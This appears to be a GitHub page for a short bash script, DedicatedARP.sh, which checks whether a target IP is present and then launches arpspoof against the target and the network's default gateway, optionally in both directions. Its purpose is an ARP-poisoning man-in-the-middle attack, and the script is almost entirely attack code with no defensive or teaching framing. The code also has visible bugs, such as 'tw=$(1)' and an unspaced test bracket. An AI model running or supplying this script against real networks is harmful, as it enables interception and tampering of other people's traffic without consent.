-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathDedicatedARP.sh
56 lines (52 loc) · 1.18 KB
/
DedicatedARP.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/bin/bash
open(){
read -p "What Interface do you want to use(ex: wlan0)" INT
gateway=$(/sbin/ip route | awk '/default/ { print $3}')
echo "${TARGET}"
#ping -c 1 -t 1 ${TARGET} > /dev/null 2> /dev/null # ping and discard output
arp -n ${TARGET} > /dev/null 2> /dev/null #use arp instead of ping for speed
if [ $? -eq 0 ]; then # check the exit code
echo "${TARGET} is up; Starting ARPspoof" # display the output
arpspoof -i ${INT} -t ${TARGET} ${gateway} &
if [${tw} -eq 0]; then
arpspoof -i ${INT} -t ${gateway} ${TARGET} &
else
echo "non bidirectional arpspoof"
fi
else
echo "${TARGET} is down"
fi
}
eternalwait(){
while :
do
sleep 5000
done
}
tw=$(1)
for i in "$@"
do
case $i in
-i=*|--interface=*)
INT="${i#*=}"
shift
;;
-b|--bidir)
tw=$(0)
shift
;;
-t=*|--target=*)
TARGET="${i#*=}"
open
;;
-h|--help)
echo "-t or --target with input ip"
echo "-h or --help to show this menu"
#shift # past argument with no value
;;
*)
echo "-t or --target with input ip"
echo "-h or --help to show this menu" # unknown option
;;
esac
done